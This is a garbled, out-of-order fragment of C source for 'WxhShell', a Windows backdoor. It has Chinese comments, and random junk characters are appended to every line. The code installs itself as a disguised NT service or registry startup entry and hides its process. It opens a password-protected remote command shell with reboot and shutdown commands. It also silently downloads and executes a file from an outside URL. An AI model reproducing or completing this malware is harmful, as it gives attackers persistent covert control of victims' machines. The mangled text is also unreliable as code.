ULONG UniqueProcessId; }c0EGoU}?
ULONG InheritedFromUniqueProcessId; zJa,kN|m
} PROCESS_BASIC_INFORMATION; dWAKIBe
"G
@(AE(
PROCNTQSIP NtQueryInformationProcess; x 3?:"D2
d<^o@
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qx3`5)ef
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; OBmmOswg~
i\u m;\
HANDLE hProcess; cv/
PROCESS_BASIC_INFORMATION pbi; k'$UA$2d
`}9j vR5
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (GJW3
if(NULL == hInst ) return 0; T*sB Wn'am
)\r;|DN
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z3]ut#`
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ")ZsY9-P
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); F~_)auH
vT>ki0P_;
if (!NtQueryInformationProcess) return 0; 7IH^5r
3[O;HS3|
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %o9;jX
if(!hProcess) return 0; /SDDCZ`;|c
XT
'v7
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; MX{p)(HW
.V:H~
CloseHandle(hProcess); H+ Y+8
VY=c_Gl
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g<r'f"^
if(hProcess==NULL) return 0; F(Iq8DV
r % ]^(
HMODULE hMod; 27!9LU
char procName[255]; #=B~}
_
unsigned long cbNeeded; &7\q1X&Rr
>B9|;,a
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w\z6-qa
^Q$U.sN?R
CloseHandle(hProcess); MHVHEwr.{
e+5]l>3)f
if(strstr(procName,"services")) return 1; // 以服务启动 K 6Gri>Um
")87GQ( R
return 0; // 注册表启动 \f7Aj>
} 3Vj,O?(Z
On{p(|l
// 主模块 V=,VOw4
int StartWxhshell(LPSTR lpCmdLine) ,3`RM$
{ AK*F,H9
SOCKET wsl; <U ?_-0
BOOL val=TRUE; ZiS<vWa3R
int port=0; TZ,kmk#
struct sockaddr_in door; szy^kj^2
b8@gv OB
if(wscfg.ws_autoins) Install(); s-He
ITu6m<V
port=atoi(lpCmdLine); kM,$0@
'h&"xXv4|
if(port<=0) port=wscfg.ws_port; =fZ)2q
nUL8*#p-
WSADATA data; s2-p-n
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Uxq9H
cH!w;Ub]
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; {)QSxO
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); noBGP/Av=:
door.sin_family = AF_INET; 7EKQE>xj
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ? }2]G'7?
door.sin_port = htons(port); ;*Cu >f7
{u}Lhv
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K9X0/
closesocket(wsl); V@xlm
h,
return 1; Nuw_,-h
} |oSx*Gh
3UBg"1IC
if(listen(wsl,2) == INVALID_SOCKET) { {T]^C
closesocket(wsl); t9zF
WdW
return 1; b'N(eka
} 9cu0$P`}5
Wxhshell(wsl); 4ISZyO=
WSACleanup();
5Y\wXqlY
gt1W_C\
return 0; wY`yP!xO
ad1%"~1
} OI9V'W$
q+/c+u?=^
// 以NT服务方式启动 W7a aL
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1{sf Dw[s
{ vElVw.
P
DWORD status = 0; zd+_
BPT
DWORD specificError = 0xfffffff; ;MqH)M
cj:!uhZp7
serviceStatus.dwServiceType = SERVICE_WIN32; .I@jt?6X
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 5ap~;t
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; h] (BTb#-
serviceStatus.dwWin32ExitCode = 0; qd9CKd
serviceStatus.dwServiceSpecificExitCode = 0; mE"?{~XVL
serviceStatus.dwCheckPoint = 0; "`Q.z~
serviceStatus.dwWaitHint = 0; d5zF9;[
:h>d'+\
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \B'rWk33,
if (hServiceStatusHandle==0) return; AiT&:'<UT
(1r.AG`g
status = GetLastError(); Khbkv
if (status!=NO_ERROR) ptS1d$
{ .cTK\
serviceStatus.dwCurrentState = SERVICE_STOPPED; R(c:#KF#8
serviceStatus.dwCheckPoint = 0; d85\GEF9i
serviceStatus.dwWaitHint = 0; r?s,
serviceStatus.dwWin32ExitCode = status; 8\BCC1K
serviceStatus.dwServiceSpecificExitCode = specificError; `3Gjj&c
SetServiceStatus(hServiceStatusHandle, &serviceStatus); %d5;JEgA:g
return; '[ZRWwhr
} cC.=,n
LCrE1Q%VP
serviceStatus.dwCurrentState = SERVICE_RUNNING; F
j_r
n
serviceStatus.dwCheckPoint = 0; H1(Zzn1
serviceStatus.dwWaitHint = 0; XCNfogl
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); AZ7
} S+Aq0B<
5YlY=J
// 处理NT服务事件,比如:启动、停止 DlkHE8r\
VOID WINAPI NTServiceHandler(DWORD fdwControl) m]yt6b4
{ Y~qv 0O6K
switch(fdwControl) KKR@u(+"a
{ _R!KHi
case SERVICE_CONTROL_STOP: *TpzX
y
serviceStatus.dwWin32ExitCode = 0; $td=h)S^`
serviceStatus.dwCurrentState = SERVICE_STOPPED; 18|i{fE;
serviceStatus.dwCheckPoint = 0; fI2/v<[
serviceStatus.dwWaitHint = 0; 0W|}5(C
{ a}Db9 =
SetServiceStatus(hServiceStatusHandle, &serviceStatus); etX&o5A
} Yq;|Me{h
return; ,"PKGd]^
case SERVICE_CONTROL_PAUSE: 47R4gs#W
serviceStatus.dwCurrentState = SERVICE_PAUSED; OC|9~B1
break; g0m6D:f
case SERVICE_CONTROL_CONTINUE: Th&*
d;
serviceStatus.dwCurrentState = SERVICE_RUNNING; '/^bO# G:
break; l[EnFbD6
case SERVICE_CONTROL_INTERROGATE: =qY!<DB[L
break; P=:mn>
}; ?=:wIMV
SetServiceStatus(hServiceStatusHandle, &serviceStatus); #"^F:: b-
} VZ?"yUZ Id
oyGO!j
// 标准应用程序主函数 3"O)"/"Q.
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W?;kMGW-
{ UXz0HRRS0
B!|<<;Da6
// 获取操作系统版本 ~c>* 3*
OsIsNt=GetOsVer(); C3n_'O
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2\flTO2Ny
;\@co5.=
// 从命令行安装 olNgtSX
if(strpbrk(lpCmdLine,"iI")) Install(); T~%}(0=m
=9UR~-`d\
// 下载执行文件 3siWq9.
if(wscfg.ws_downexe) { d,fX3
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @V/Lqia
WinExec(wscfg.ws_filenam,SW_HIDE); .z/M (
} WPBn?vb0<
HS{a^c%
if(!OsIsNt) { \atztC{-L>
// 如果时win9x,隐藏进程并且设置为注册表启动 =yv_i]9AN
HideProc(); s? /#8 `
StartWxhshell(lpCmdLine); &Q>)3] |p
} GY@-}p~it
else ;b=3iT-2"
if(StartFromService()) 8}/v[8p
// 以服务方式启动 gA)!1V+:
StartServiceCtrlDispatcher(DispatchTable); Y$0Y_fm%
else yUb$EMo\
// 普通方式启动 'j84-U{&)
StartWxhshell(lpCmdLine); ,wJ#0?
U$[C>~ r
return 0; v:*t5M
>
} $vNz^!zgV
2ZMYA=[!
}]1=?:tX%
2Y~6~*8*~
=========================================== 3V]B|^S
kG:,Ff>
q=bW!.#?
]I9Hbw
~]HeoQK
6iwIEb
" yvxdl=s
[#y/`
#include <stdio.h> AtRu)v6r
#include <string.h> ZCJOh8
#include <windows.h> 3.q%?S}*
#include <winsock2.h> 1eC1Cyw
#include <winsvc.h> T+z]ztO
#include <urlmon.h> pK=$)<I"6
90)0\i+P
#pragma comment (lib, "Ws2_32.lib") w
^ v*1KA&
#pragma comment (lib, "urlmon.lib") 2Yd0:$a
808E)
#define MAX_USER 100 // 最大客户端连接数 ,3_;JT"5
#define BUF_SOCK 200 // sock buffer R:zPU
#define KEY_BUFF 255 // 输入 buffer +NGjDa
K!/"&RjW.
#define REBOOT 0 // 重启 Z:3N*YkL
#define SHUTDOWN 1 // 关机 oQgd]|v
y5_`<lFv
#define DEF_PORT 5000 // 监听端口 WvG0hts=[
cE}R7,y
#define REG_LEN 16 // 注册表键长度 z?$F2+f&
#define SVC_LEN 80 // NT服务名长度 K31G>k@
t^0^He$Ot
// 从dll定义API e)dPv:oK3
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l4+!H\2
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (are2!Oq
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1JIL6w_
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ("{JNA/
<vx/pH)f
// wxhshell配置信息 rrK&XP&
struct WSCFG { f, 9jK9/$
int ws_port; // 监听端口 (~F{c0\C
char ws_passstr[REG_LEN]; // 口令 ;D^%)v/i
int ws_autoins; // 安装标记, 1=yes 0=no ?Xm!;sS0
char ws_regname[REG_LEN]; // 注册表键名 8H4"mxO
char ws_svcname[REG_LEN]; // 服务名 Jx;"@
char ws_svcdisp[SVC_LEN]; // 服务显示名 o:ki IZ]
char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~F8M_
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `IQ01FuP
int ws_downexe; // 下载执行标记, 1=yes 0=no -"qw5Y_oF?
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
7;dTQ.%n
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 y9d[-j
;w
mA|&K8H
}; y:Xs/RS
L/1zG/@
// default Wxhshell configuration l2uh"!
struct WSCFG wscfg={DEF_PORT, (vm&&a@
"xuhuanlingzhe", fMe "r*SU
1, ugexkdgM
"Wxhshell", Xg:w;#r,
"Wxhshell", *<k8H5z8]
"WxhShell Service", * z|i{=W
F
"Wrsky Windows CmdShell Service", Wx#((T
"Please Input Your Password: ", <
aeBhg%
1, g z!q
"http://www.wrsky.com/wxhshell.exe", y+f@8]
"Wxhshell.exe" ( lbF/F>v
}; c"BFkw
m(QGP\Ya
// 消息定义模块 :0,q>w
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; WF0%zxg ]
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2XhtK
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; mm-!UsT
char *msg_ws_ext="\n\rExit."; 9"Vch;U$
char *msg_ws_end="\n\rQuit."; O9OD[VZk
char *msg_ws_boot="\n\rReboot..."; DSG tt/n
char *msg_ws_poff="\n\rShutdown..."; WAPN,WuW
char *msg_ws_down="\n\rSave to "; :.kc1_veYS
cW B>
char *msg_ws_err="\n\rErr!"; "&jA
CI
char *msg_ws_ok="\n\rOK!"; `f.okqBAh
oTOr,Mn0\6
char ExeFile[MAX_PATH]; R;,&s!\<
int nUser = 0; N6wea]
HANDLE handles[MAX_USER]; cIqk=_]
int OsIsNt; aty"6~
.`Ey'T_
SERVICE_STATUS serviceStatus; ?sQOz[ig;
SERVICE_STATUS_HANDLE hServiceStatusHandle; ;,T3C:S?
tpe:]T/xh
// 函数声明 C?@vBM}
int Install(void); n_;qB7,,
int Uninstall(void); N3?hyR<T
int DownloadFile(char *sURL, SOCKET wsh); SN!TE,=I
int Boot(int flag); s*`_Ka57]~
void HideProc(void); >ZMB}pt`
int GetOsVer(void); A4RA5N/}
int Wxhshell(SOCKET wsl); XWH{+c"
void TalkWithClient(void *cs); Il(p!l<Xz#
int CmdShell(SOCKET sock); om%L>zfB
int StartFromService(void); );T0n
int StartWxhshell(LPSTR lpCmdLine); C^ngdba\
,|hM`<"?
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,lK=m~
VOID WINAPI NTServiceHandler( DWORD fdwControl ); z3!j>X_w
U ObI&*2
// 数据结构和表定义 `"CIy_m
SERVICE_TABLE_ENTRY DispatchTable[] = )eFXjnHN
{ $hexJzX
{wscfg.ws_svcname, NTServiceMain}, ~B!O
X
{NULL, NULL} 9kmEg$WM
}; r0ml|PX
FEqs4<}E
// 自我安装 *a_U2}N
int Install(void) z%xWP&3%"
{ IS *-MLi
char svExeFile[MAX_PATH]; ^(<Ecdz(
HKEY key; e~#;ux
strcpy(svExeFile,ExeFile); &R